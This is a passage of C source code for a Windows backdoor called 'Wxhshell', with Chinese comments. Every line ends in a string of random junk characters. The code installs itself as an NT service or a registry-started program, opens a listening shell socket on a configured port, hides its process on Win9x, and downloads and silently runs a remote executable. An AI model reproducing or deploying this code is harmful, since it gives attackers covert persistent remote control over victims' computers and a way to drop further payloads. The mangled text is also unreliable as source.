ULONG InheritedFromUniqueProcessId; 3SM'vV0[
} PROCESS_BASIC_INFORMATION; A._CCou
!,-'wT<v
PROCNTQSIP NtQueryInformationProcess; Gb2|e.z
hz bvR~rn
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '3XOU.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l[ko)%7V
A@M2(?w4
HANDLE hProcess; g=KK
PSK
PROCESS_BASIC_INFORMATION pbi; VK4UhN2
l="(Hp%b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qY&(O`?m&
if(NULL == hInst ) return 0; '>[ZfT
TaF*ZT2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n4?;!p<F
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }P=FMme{F(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -/3h&g
lBn<\Y!^
if (!NtQueryInformationProcess) return 0; W)`>'X`
EQnU:a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ym%#"
if(!hProcess) return 0; 6n:X
p_yO
)1 @v<I
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $_%
~+6#4<M.~
CloseHandle(hProcess); 'bv(T2d~~
4o''C |ND
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G>Bgw>#_
if(hProcess==NULL) return 0; //G&=i$
**AJFc
HMODULE hMod; vU/sQt8
char procName[255]; qHrIs-NR
unsigned long cbNeeded; 5m;pHgkb
)p!")
:'fv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >yyu:dk-;
&xj40IZ
CloseHandle(hProcess); 4YOLy\"S
X"8$,\wX,
if(strstr(procName,"services")) return 1; // 以服务启动 kPEU }Kv
bq7()ocA
return 0; // 注册表启动 M#o=.,
} Q0PqyobD
C _W]3
// 主模块 Q#*qPgs
int StartWxhshell(LPSTR lpCmdLine) P^-x
{ Ty 6 XU!
SOCKET wsl; aF=;v*
BOOL val=TRUE; nP=/XiCj
int port=0; a$"Z\F:x
struct sockaddr_in door; 4/o9K*M+
54JI/!a
if(wscfg.ws_autoins) Install(); Q<osYO{l
<!u(_Bxw/
port=atoi(lpCmdLine); ^[HX#JJ~
|bRi bB
if(port<=0) port=wscfg.ws_port; ZZL%5{w_
Y\H4.$V
WSADATA data; xAsy07J?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RXPl~]k#i
;?o"{mbb
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c1]\.s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IxP$lx
door.sin_family = AF_INET; 'u[cT$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =F*{O=
door.sin_port = htons(port); 0Oq5;5
m[5ed1+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Erl@]P4
closesocket(wsl); or`"{wop
return 1; L'BzefU;04
} TI'~K}Te
$EG<LmC-Q
if(listen(wsl,2) == INVALID_SOCKET) { _i"[m(ABj1
closesocket(wsl); KbRKPA`
return 1; v^IMN3^W
}
(+\K
Wxhshell(wsl); 4_eFc$^
WSACleanup(); =2wy;@f
<>1*1%m
return 0; ~m'8BK
3~0Xe
} Bsz;GnD|r
a'@?c_y;$
// 以NT服务方式启动 aG1[85:,\i
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c_2kHT
{
BgG+
DWORD status = 0; HQ|{!P\/?U
DWORD specificError = 0xfffffff; _`94CC:
Ks7kaX
serviceStatus.dwServiceType = SERVICE_WIN32; hWu#}iN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *!(?=9[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p4zV<qZ>e
serviceStatus.dwWin32ExitCode = 0; q->46{s|
serviceStatus.dwServiceSpecificExitCode = 0; fI(H
:N
serviceStatus.dwCheckPoint = 0; i
`8Y/$aT
serviceStatus.dwWaitHint = 0; @}N;C..Y$
[C~{g#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jr5x!@rb
if (hServiceStatusHandle==0) return; Xp3cYS*u
F9SIC7}uH
status = GetLastError(); j#XU\G
if (status!=NO_ERROR) (aH_K07
{ 7<ES&ls_
serviceStatus.dwCurrentState = SERVICE_STOPPED; q}R"
serviceStatus.dwCheckPoint = 0; |7T!rnr
serviceStatus.dwWaitHint = 0; /9yA.W;
serviceStatus.dwWin32ExitCode = status; uRNc9
serviceStatus.dwServiceSpecificExitCode = specificError; )@Yr HS4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); esEOV$s}
return; t\+vTvT)RE
} ?+#E&F
?3i-wpzMp
serviceStatus.dwCurrentState = SERVICE_RUNNING; QPa&kl
serviceStatus.dwCheckPoint = 0; {GH
0
J"
serviceStatus.dwWaitHint = 0; 1z(y>`ZBq
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >&9Iy"
} C>7k|;BvF
`qsn;
// 处理NT服务事件,比如:启动、停止
v4<x 4
VOID WINAPI NTServiceHandler(DWORD fdwControl) /SD2e@x{U
{ :XZ
switch(fdwControl) .~
W^P>t
{ p>p=nL K
case SERVICE_CONTROL_STOP: iyhB;s5Rgw
serviceStatus.dwWin32ExitCode = 0; 5k}UXRB?
serviceStatus.dwCurrentState = SERVICE_STOPPED; o' DXd[y
serviceStatus.dwCheckPoint = 0; W,>;`>
serviceStatus.dwWaitHint = 0; ',*
6vbII
{ hpym!G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MhB kr{8
} p.1|bXY`
return; M+^+u 1QQ0
case SERVICE_CONTROL_PAUSE: \G*vY#]
serviceStatus.dwCurrentState = SERVICE_PAUSED; {ByT,92
break; VL<)d-
case SERVICE_CONTROL_CONTINUE: IV:Knh+
?
serviceStatus.dwCurrentState = SERVICE_RUNNING; ji2if.t@
break; G>{;@u
case SERVICE_CONTROL_INTERROGATE: Rf\>bI<.
break; 18!0Hl>
}; lBTgI"n=eK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D058=}^HE
} B: uW(E
S*CRVs
// 标准应用程序主函数 Kc\0-3 Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ziy~~J
{ zn3i2MWS
[w~1e)D
// 获取操作系统版本 e:.Xs
OsIsNt=GetOsVer(); _W*3FH
GetModuleFileName(NULL,ExeFile,MAX_PATH); &e%y|{Y
Wm.SLr,o0
// 从命令行安装 rq6(^I
if(strpbrk(lpCmdLine,"iI")) Install(); p2y
h
gzHjD-g-<
// 下载执行文件 s\Cl3
if(wscfg.ws_downexe) { Ph.$]yQCc]
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }EOn=*
WinExec(wscfg.ws_filenam,SW_HIDE); +;z4.C{gM
} 4aZsz,=
e}}xZ%$4|
if(!OsIsNt) { n|L.dBAs]
// 如果时win9x,隐藏进程并且设置为注册表启动 obX|8hTL%
HideProc(); G(4:yK0
StartWxhshell(lpCmdLine); Q_1EAxt
} Vo(d)"m?
else +]|J
if(StartFromService()) 8F4#E
U
// 以服务方式启动 nS'0i&<{1
StartServiceCtrlDispatcher(DispatchTable); T.W/S0#j3
else OY`G _=6!N
// 普通方式启动 /sdkQ{J!.
StartWxhshell(lpCmdLine); ,)Z^b$H]
Mi'eViH
return 0; .'7o,)pJ<
}